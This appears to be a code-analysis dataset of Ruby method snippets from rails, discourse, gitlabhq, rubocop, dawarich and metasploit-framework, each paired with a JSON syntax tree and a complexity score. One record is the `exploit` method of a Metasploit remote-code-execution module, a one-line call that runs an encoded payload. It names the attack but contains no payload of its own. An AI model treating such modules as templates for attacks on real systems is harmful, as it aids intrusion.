{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/validations/uniqueness_validation_test.rb","start_line":604,"raw_source":"def test_validate_uniqueness_ignores_itself_when_primary_key_changed\n    Topic.validates_uniqueness_of(:title)\n\n    t = Topic.new(\"title\" => \"This is a unique title\")\n    assert t.save, \"Should save t as unique\"\n\n    t.id += 1\n    assert_predicate t, :valid?, \"Should be valid\"\n    assert t.save, \"Should still save t as unique\"\n  end","complexity_score":8.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validate_uniqueness_ignores_itself_when_primary_key_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_uniqueness_of\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"This is a unique title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"save\"]},{\"type\":\"str\",\"children\":[\"Should save t as unique\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]},{\"type\":\"str\",\"children\":[\"Should be valid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"save\"]},{\"type\":\"str\",\"children\":[\"Should still save t as unique\"]}]}]}]}","id":"170a74f5-1473-4b5e-b742-4d47976ab234"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/endpoints/open_ai_spec.rb","start_line":30,"raw_source":"def stub_response(prompt, response_text, tool_call: false)\n    WebMock\n      .stub_request(:post, \"https://api.openai.com/v1/chat/completions\")\n      .with(body: request_body(prompt, tool_call: tool_call))\n      .to_return(status: 200, body: JSON.dump(response(response_text, tool_call: tool_call)))\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"arg\",\"children\":[\"response_text\"]},{\"type\":\"kwoptarg\",\"children\":[\"tool_call\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://api.openai.com/v1/chat/completions\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"request_body\",{\"type\":\"lvar\",\"children\":[\"prompt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_call\"]},{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"dump\",{\"type\":\"send\",\"children\":[null,\"response\",{\"type\":\"lvar\",\"children\":[\"response_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_call\"]},{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]}]}]}]}]}]}]}]}","id":"90b2ff83-0fe3-4977-bbbc-96a66beec6fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/marginalia/comment.rb","start_line":9,"raw_source":"def jid\n        bg_job[\"jid\"] if bg_job.present?\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"jid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bg_job\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bg_job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jid\"]}]},null]}]}","id":"51405c70-b479-4faa-8301-91e240882888"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/api/v1/photos_controller.rb","start_line":22,"raw_source":"def fetch_cached_thumbnail(source)\n    Rails.cache.fetch(\"photo_thumbnail_#{params[:id]}\", expires_in: 1.day) do\n      Photos::Thumbnail.new(current_api_user, source, params[:id]).call\n    end\n  end","complexity_score":14.45,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_cached_thumbnail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"photo_thumbnail_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Photos\"]},\"Thumbnail\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_api_user\"]},{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"call\"]}]}]}","id":"525dc281-0641-441d-bb89-3ea2a6933a52"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/web_hook_event_type.rb","start_line":100,"raw_source":"def self.active\n    ids_to_exclude = []\n    unless defined?(SiteSetting.solved_enabled) && SiteSetting.solved_enabled\n      ids_to_exclude.concat([TYPES[:solved_accepted_solution], TYPES[:solved_unaccepted_solution]])\n    end\n    unless defined?(SiteSetting.assign_enabled) && SiteSetting.assign_enabled\n      ids_to_exclude.concat([TYPES[:assign_assigned], TYPES[:assign_unassigned]])\n    end\n    unless defined?(SiteSetting.topic_voting_enabled) && SiteSetting.topic_voting_enabled\n      ids_to_exclude.concat([TYPES[:voting_topic_upvote], TYPES[:voting_topic_unvote]])\n    end\n    unless defined?(SiteSetting.chat_enabled) && SiteSetting.chat_enabled\n      ids_to_exclude.concat(\n        [\n          TYPES[:chat_message_created],\n          TYPES[:chat_message_edited],\n          TYPES[:chat_message_trashed],\n          TYPES[:chat_message_restored],\n        ],\n      )\n    end\n    self.where.not(id: ids_to_exclude)\n  end","complexity_score":37.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"active\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids_to_exclude\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"solved_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"solved_enabled\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_to_exclude\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"solved_accepted_solution\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"solved_unaccepted_solution\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"assign_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"assign_enabled\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_to_exclude\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assign_assigned\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assign_unassigned\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"topic_voting_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"topic_voting_enabled\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_to_exclude\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"voting_topic_upvote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"voting_topic_unvote\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_enabled\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_to_exclude\"]},\"concat\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_message_created\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_message_edited\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_message_trashed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_message_restored\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids_to_exclude\"]}]}]}]}]}]}","id":"6c5afbf3-e0d9-425d-91f3-ba8901e63e07"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/negated_unless.rb","start_line":66,"raw_source":"def on_if(node)\n          return if node.if? || node.elsif? || node.ternary?\n          return if correct_style?(node)\n\n          message = message(node)\n          check_negative_conditional(node, message: message) do |corrector|\n            ConditionCorrector.correct_negative_condition(corrector, node)\n          end\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"elsif?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_style?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_negative_conditional\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConditionCorrector\"]},\"correct_negative_condition\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"875ad1ec-f9f8-4264-baf3-a89428886822"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/extractor.rb","start_line":177,"raw_source":"def commands_regex(names:, sub_names:)\n        @commands_regex[names] ||= %r{\n            #{EXCLUSION_REGEX}\n          |\n            (?:\n              # Command such as:\n              # /close\n\n              ^\\/\n              (?<cmd>#{Regexp.new(Regexp.union(names).source, Regexp::IGNORECASE)})\n              (?:\n                [ ]\n                (?<arg>[^\\n]*)\n              )?\n              (?:\\s*\\n|$)\n            )\n          |\n            (?:\n              # Substitution such as:\n              # /shrug\n\n              ^\\/\n              (?<substitution>#{Regexp.new(Regexp.union(sub_names).source, Regexp::IGNORECASE)})\n              (?:\n                [ ]\n                (?<arg>[^\\n]*)\n              )?\n              (?:\\s*\\n|$)\n            )\n        }mix\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"commands_regex\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"names\"]},{\"type\":\"kwarg\",\"children\":[\"sub_names\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commands_regex\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"names\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUSION_REGEX\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          |\\n\"]},{\"type\":\"str\",\"children\":[\"            (?:\\n\"]},{\"type\":\"str\",\"children\":[\"              # Command such as:\\n\"]},{\"type\":\"str\",\"children\":[\"              # /close\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              ^\\\\/\\n\"]},{\"type\":\"str\",\"children\":[\"              (?<cmd>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"lvar\",\"children\":[\"names\"]}]},\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"              (?:\\n\"]},{\"type\":\"str\",\"children\":[\"                [ ]\\n\"]},{\"type\":\"str\",\"children\":[\"                (?<arg>[^\\\\n]*)\\n\"]},{\"type\":\"str\",\"children\":[\"              )?\\n\"]},{\"type\":\"str\",\"children\":[\"              (?:\\\\s*\\\\n|$)\\n\"]},{\"type\":\"str\",\"children\":[\"            )\\n\"]},{\"type\":\"str\",\"children\":[\"          |\\n\"]},{\"type\":\"str\",\"children\":[\"            (?:\\n\"]},{\"type\":\"str\",\"children\":[\"              # Substitution such as:\\n\"]},{\"type\":\"str\",\"children\":[\"              # /shrug\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              ^\\\\/\\n\"]},{\"type\":\"str\",\"children\":[\"              (?<substitution>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"lvar\",\"children\":[\"sub_names\"]}]},\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"              (?:\\n\"]},{\"type\":\"str\",\"children\":[\"                [ ]\\n\"]},{\"type\":\"str\",\"children\":[\"                (?<arg>[^\\\\n]*)\\n\"]},{\"type\":\"str\",\"children\":[\"              )?\\n\"]},{\"type\":\"str\",\"children\":[\"              (?:\\\\s*\\\\n|$)\\n\"]},{\"type\":\"str\",\"children\":[\"            )\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\",\"x\"]}]}]}]}","id":"8709c8a0-9ae4-4335-bd06-5995a85c1c82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/help_controller.rb","start_line":25,"raw_source":"def show\n    @path = Rack::Utils.clean_path_info(params[:path])\n\n    respond_to do |format|\n      format.any(:markdown, :md, :html) do\n        if redirect_to_documentation_website?\n          redirect_to documentation_url\n        else\n          render_documentation\n        end\n      end\n\n      # Allow access to specific media files in the doc folder\n      format.any(:png, :gif, :jpeg, :mp4, :mp3) do\n        # Note: We are purposefully NOT using `Rails.root.join` because of https://gitlab.com/gitlab-org/gitlab/-/issues/216028.\n        path = path_to_doc(\"#{@path}.#{params[:format]}\")\n\n        if File.exist?(path)\n          send_file(path, disposition: 'inline')\n        else\n          head :not_found\n        end\n      end\n\n      # Any other format we don't recognize, just respond 404\n      format.any { head :not_found }\n    end\n  end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"clean_path_info\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"any\",{\"type\":\"sym\",\"children\":[\"markdown\"]},{\"type\":\"sym\",\"children\":[\"md\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to_documentation_website?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"documentation_url\"]}]},{\"type\":\"send\",\"children\":[null,\"render_documentation\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"any\",{\"type\":\"sym\",\"children\":[\"png\"]},{\"type\":\"sym\",\"children\":[\"gif\"]},{\"type\":\"sym\",\"children\":[\"jpeg\"]},{\"type\":\"sym\",\"children\":[\"mp4\"]},{\"type\":\"sym\",\"children\":[\"mp3\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"path_to_doc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"send_file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"str\",\"children\":[\"inline\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"any\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]}]}","id":"393b0873-511e-48e2-8bc8-5c9c4a422261"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/web_services/servlet/host_servlet.rb","start_line":19,"raw_source":"def self.registered(app)\n    app.get self.api_path, &get_host\n    app.get self.api_path_with_id, &get_host\n    app.post self.api_path, &report_host\n    app.put self.api_path_with_id, &update_host\n    app.delete self.api_path, &delete_host\n    app.post self.api_search_path, &search\n    app.get self.api_path_with_id_and_tags, &get_host_tags\n    app.post self.api_path_with_id_and_tags, &add_host_tag\n    app.delete self.api_path_with_id_and_tags, &delete_host_tag\n  end","complexity_score":41.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path_with_id\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path_with_id\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_host\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_search_path\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path_with_id_and_tags\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_host_tags\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path_with_id_and_tags\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_host_tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_path_with_id_and_tags\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_host_tag\"]}]}]}]}]}","id":"2604dade-023c-42d4-bd34-58223b65b7cf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/lg_simple_editor_rce_uploadvideo.rb","start_line":78,"raw_source":"def exploit\n    execute_command(payload.encoded)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}","id":"80add98e-7fb7-4c71-8fcf-3558c4ce71b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":203,"raw_source":"def encryption\n          options['encryption'] || 'plain'\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"encryption\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"encryption\"]}]},{\"type\":\"str\",\"children\":[\"plain\"]}]}]}","id":"3ad02ac3-14a0-408b-aae8-07ab4aee0a33"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb","start_line":234,"raw_source":"def test_db_retrieves_charset\n      ActiveRecord::Base.stub(:lease_connection, @connection) do\n        assert_called(@connection, :charset) do\n          ActiveRecord::Tasks::DatabaseTasks.charset @configuration\n        end\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_retrieves_charset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"charset\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"charset\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]}]}]}","id":"37df1fc7-ca77-4e25-b6d8-bc6e5eb8f5fc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":365,"raw_source":"def test_update_all_cares_about_optimistic_locking\n    david = people(:david)\n\n    travel 5.seconds do\n      now = Time.now.utc\n      assert_not_equal now, david.updated_at\n\n      people = Person.where(id: people(:michael, :david, :susan))\n      expected = people.pluck(:lock_version)\n      expected.map! { |version| version + 1 }\n      people.update_all(updated_at: now)\n\n      assert_equal [now] * 3, people.pluck(:updated_at)\n      assert_equal expected, people.pluck(:lock_version)\n\n      assert_raises(ActiveRecord::StaleObjectError) do\n        david.touch(time: now)\n      end\n    end\n  